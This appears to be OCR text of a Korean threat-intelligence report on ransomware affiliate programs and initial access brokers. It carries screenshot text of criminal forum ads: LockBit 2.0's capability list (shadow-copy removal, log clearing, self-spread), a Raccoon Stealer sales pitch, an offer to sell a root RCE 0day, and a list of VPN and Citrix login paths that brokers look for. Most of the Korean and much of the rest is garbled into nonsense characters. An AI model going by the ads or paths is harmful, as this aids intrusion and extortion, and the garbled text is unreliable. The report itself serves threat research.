CONTENT COUNT JOINED MEMBER ID LAST VISITED

Joined: Mar 15, 2
2 February 24 2 April 23

Profile posts  Latestactivity  Postings

'orking TG bot Hashcat

#2 - Aug 24, 2022 - For

looking for pentesters
Looking for th

A= MIE
Yanluowang ZZI2 HIE FQIZ2 Edff EA L MuE X[Zst=0l, BTC ) XMR ) XMRQ| X2 MEE A
2ol X[ SHAO|M SiZ3E RIS 12|10 LockBit® E3ll BTCES QR ZER wssich= LIE0o| Q1o
Yanluownag2} LockBit ZXI0| & ZHA0| U2 o UCH=E 752 M7 ISit,

ZZ|9| JHXIQ! Kilnase DoxbinZt MediumS S3ll AAO0| ZIHEIRACE Z7HE L0 m=H
Kilnas= 2{A|0} Yt Z2EIE AL0| EQIT a|Xf2t SiCt oFXI2H Oof| CHEt 2747 MAIEl AEl= OfLC



Ct3#! L RaaS &3

1D Affiliate Program &

Ao ZX2 AHISo| Ao Progem S2507| st C128 Lf 280l xio2 2BAC, 05
2o S B2 o QWIS LY, RIISO| 4o bR S2nt obyaol olmale KBSt MBS FASYIE
BiCt, 1#0F OfLjz} B2E =S Esof she B4 180 YRIME 22 U BEE S92k K85

it

ct.

MapTépKa no nokepy Sugar | Sugar locker Partner

Mark [ HIVE RANSOMWARE ] 7
ﬁ [Raas] Affiliate program e [RaaS] MONSTER

\‘:'/ @ e User
O Pubisned 030772021 at 1932

Al 9 owm networks” The message says thal the

ransomware warks on Windows, Linux. Freebsd, etc. The TOR Pa
7 IR p—

are made to affiates’ walets| e affiate. 20% 10 the creator of

TRaReomre] TOBI 20 e a et PrORra. Conti's Elite Teém _Lonking For Pentesters & Accesses 80/20

Affiliate program LockBit 2.0 temporarily relaunch the intake of partners.
The program has been underway since September 2019, i is designed in origin C and ASM laf

dependencles. Encryption is Implemented In parts via the completion port (1/0}, encryption af

During two years none has managed te decrypt it

Unparalieled benefits are encryption speed and self-spread function.

The only thing you have to do is to get access to the core server, while LockBit 2.0 will do all ¢
realized on all devicas of the domain network in case of administrator rights on the domain co

Brief featurs set:
administrator panel in Tor system:

- communication with the company via Tor, chat room with PUSH notiicatins;

- automatic test decryption;

- automatic decryptor detection;

- port scanner In local subnetworks, can detect il DFS, SMB, WebDav shares;

- automatic distribution In the dorain network at run-time without the necessity of scripts)
termination of interfering services and processes;

- blocking of process launching that can destroy the encryption pracess;

- setting of file rights and removal of blacking attributes;

- removal of shedow copies;

- creation of hidden partitions, dreg and drop files and folders;

- dlearing of logs and self-clearing;

- windowed or hidden operating mode;

- launch of computers switched off via Wake-on-Lan;

- print-out of requirements on network pm\ws;[ LOCKBIT RANSOMWARE]  Hammpxeei o

- available for all versions of Windows 05; 3 Goranauw. Bauww wassics ox Bof! Hsnewyl paiiT

wem RioRed nog pacuper

 ADHODH

EEEVEEN Ci=2 =3 U Affiliate Program 22 )

Affiate 71@10] WIS B4 MBS 05T, U0 BHS MAlH HBS SHBIC EE 71210 VPN
RDP #stol|Lt 2391 HHE &F 3 Tt 29| Initial Access Vector2 ALESICE Affiiate= HAYO
B2i0| stAol BES 2 Q| 20| S5 IFORLE 0 80~00%0| 4422 KFLEL 52 442
=20 Affiate Program B2 ZZXIOIA| 2B et

[Ransomware] LockBit 2.0 - napTHépckas nporpamma. Windows, Linux, ESXi
80/20/ ebikyn cpa3y Ha Balw Kowenek - ckam UCKNIOMEH, aBTOCNMB B .onion 6nor yepes StealBit

@ AxTnemocTe: LockBit 05 OxTaGpa 2021 8 22:57 Puinox = MapTHépku

[ LockBit 19 Aerycra 20218 18:34

014 ©e624
LOCKBIT MMpopasey

REvil
90/10|Ha Haw Kowenék. MomeHTanbHbii Bbisog, Linux (x86-64) + Windows + Powershell. Ceoi kpunt

(© AxTueHocTs: ouroboris 07 OkTa6pa 2021 8 16:15 PoiHOK = CoT

@ REvil 06 OxTs6ps 20218 21:48 O10 @108
Monbaosarens

REEVEPN  Affiliate =21 24
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o
#=En sMo2 AFIt 7tssh| WEOICh CiEE LolM Chfet X5 a8 & IA

ofL|2t Qo] ZEI2 S22 AIZFHO| El= Initial AccessE 7| ol &l 28 & A2 2FXIet

24
L CHEY L ZHoiM THlzl= F2|HA HYE Aofsty |2 S ntial Access= % 2IE
A Y HEYT F2 oot H22 4~ QA £H2 JE HoL A|ARES £1

5 e Initial Access Broker)7}

S, I Info-stealer 30| 9T} ABS HIES 20| 242 FOIK|T Utk

rlo

w0
N

=3

I need TrickBot. Help find the owner of TrickBot. Owner, if you are reading this contact me.
LOCKBIY | s
LockBitSupp XMPP (Jabber)
Premium

028032021

m ) : I‘?
208 3 Complaint

Botnet owner, if you are reading this, please contact me.
LOCKBIT Y e
Raccoon InfoStealer operator delayed " o
LockBitSupp
LockpiT | will buy the source code of this styler. Premium

LockBitSupp - Post #27 - Nov 2, 2022 - Forum: News

03/08/2021

Info-stealer= Y2 EF A AGIEZ 2l | VIEE tidez £ YEE AL e YE= 2E8Y
=
=

2a2t0 22K, X WolM 23 HE f[et =2 FiH|ma7t ZXHE ot S
7eHECt, A0 A2 EEA Intial AccessE BE o Utts ST WE0 HE R =72M ARHE HS
2

S2517LL, 232 F0isI0] 7| RIE0| ARSI,

= o2 oM

022 A7 =4A ETE Lapsus$ 1& HEot x7|

2E =72 Redine AEZIE AFZ3ICE

Veriied) | Offical REDL ] = Raccoon Stealer. Start of sales on XSS.IS

raccoonsteder O May 20,2019-©) carding | kogs | matware | accoon | raccconsteler | sl | o

ESCROW /

May 20,2019

Raccoon Stealer. We steal, you deall

. roquar updats, i . W, 5, ec.

* Own code. Our buid i nota fork of aready exstng products on the market.
*The stecleris witen n GIG+.

0C dat

* Buitinfle downioader
*Works on both 32 and 64 bt systams without NET dependencies.
*Oulput e - Native xB6 executable is easy fo encrypt.
Private ke
*The steler stores most of the collcted data n RAM, not on disk.
* Graber fles.
prer

AL T2 (Rediine) )

(EEEEEEN 2221 203 (Raccoon) )




IAB= 7|e| &= ololE Ho|A {2
XMHE= 22 RDP, VPN, SSH, ESXI Acces
SMe|X|et a0k Q17|17 &7 | 2ol EAH|
346t 7|ge H2E

[y

J.LI—H];‘ 7|040| %S_IC}_ JéE% Z4XH™~ O

= Sofl St 2 #ets ti= @ =& LHollA EoHSCt Login
ss S0| Tof F=oil ZefEch Foot 7|PL+E A7 =
= = o Zoi=l7 | eitt 22 SHAXE2 23 ol =210

e

P Info and software

Info and software = Software for work
0 dey to korean vpn

@ Orange A o

© AYESHA PRAKASH VP Globa 6 o1m

I send you a gift! 0 dey to one Korean vpn, there are vulnerable targets, but authorization by certificate is
everywhere

ERO SECURITY EXPLOIT TECHNICAL INFORMATION

All questions should have the most detailed answers from this depends on what price we will offer you for
your Oday exploit.

1. Item name :AnyLink PPX preatuh Root Remote RCE

2. Vendor Homepage: entrolink.com

3. Vulnerable Software: AnyLink PPX

4. Asking Price and availability of exclusive acquisition : 50k
5. Affected OS: custom linux distro

It will be delicious here
soon!

Until then...
you can support us

BTC: 1EZhsp264ZIDIKyXpweUtGars3pPCEd
EH
0cF5349061A254ce06917SE2C3418D02999b99%

XMR

47GyLOAPWAEEIWV TaCtSXWNCRInsEm3jdSXBF

HADLJDSLTICIDXKIGMNVINDICLEIRAIZYWCP
BGSCKTNGQMVNPGKTTV

A MZ|o]

I VPN &2

ZjorE T ) REEVERA 5= 7|92 Access T )

A2 Avos, Conti, Yanlouwang S &2 2HAg|
Ol = FE I EE3 A= T4 ZX

Search

0f 20| CEE =3 LM Holizl= 2 Hels Foiia,
[

in your logs:

rdp/vpn/citrix/RDWeb/pulse

rdweb

virtualworkspace.

Jvpnjtmindex.html

Jauthjflo

Paid registration

gin.aspx

JLogonPoint/tmindex.html

XenApp1/auth/login.aspx

auth/silentDetection.aspx
J+CSCOE+/

Jdana/

Deposit

Pay for

Jdana-na/

all valid & privileged (to connect)

EEEVEEL Avos 24190 ZXI9| Access THIIE )
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i.": TIN5t} 2ie Arg ric
0
7]
omn 2IA0|ERtnE E2l= H0lE & =210= 7|1Y FE2et & st 7Y Xzt YRSt 2HAo
02 XS MZ o0jE| YRS TS 5, Fof YAICR Tl | sk 2EIE XIRQ| 2 AES oI ik,
||5 20223 1227IK| YAS ZIA0|EL| 4= 7071 O|AO|H, 5 457K 0|2 ZIAO|ET} HIHIIK|E &tts|
= 2|1 Qlct,
€ c @ 5 -
BC=JNN | EAKED DATA a
HivelLeaks
- c @ -
| Cuba RANSOMWARE ZILl
This site contains information: 2 :K; mmmmmmmmmmm % 0% L
companies that did notwant t
with us. Everest Ransomware Group Home About = Q
Part of the information i for se oo
have fun.
- E - - - -
— R - -
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Medibank cyber incident response

Summary

@ — |

Emity Ritchie As we have worked through this cyber incident. Medibank has
mem
= T
S
= |
e

peopie,
10 know what data has been stolen, and how that may afiect

Tags o |
gt ittty Here is what we can currently sharo |
P * Mg b oo e cineo .

e — “Extortion)Gang

» The cims s s pe con o ubere 1
‘coces retating
o ok e e o
 The crminal csims.to have sicken other information,

g dta el o ek card ey, which s
Dot yet baen verifed by our dons.

What we are doing now

Miexhbank teams continue 1 work around e clack fo

Do you:p

‘and how s wil impact them.

affected customers to lor them of this atest cevelopment,
‘and to provide suppor and guidance on what fo dornext.

We expect the number of affscted customers 1o grow as the.
Incidant continues.

W Wi continus to Contact afiected customers.
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Server Site & Server Build Server Site & Server Site & Server
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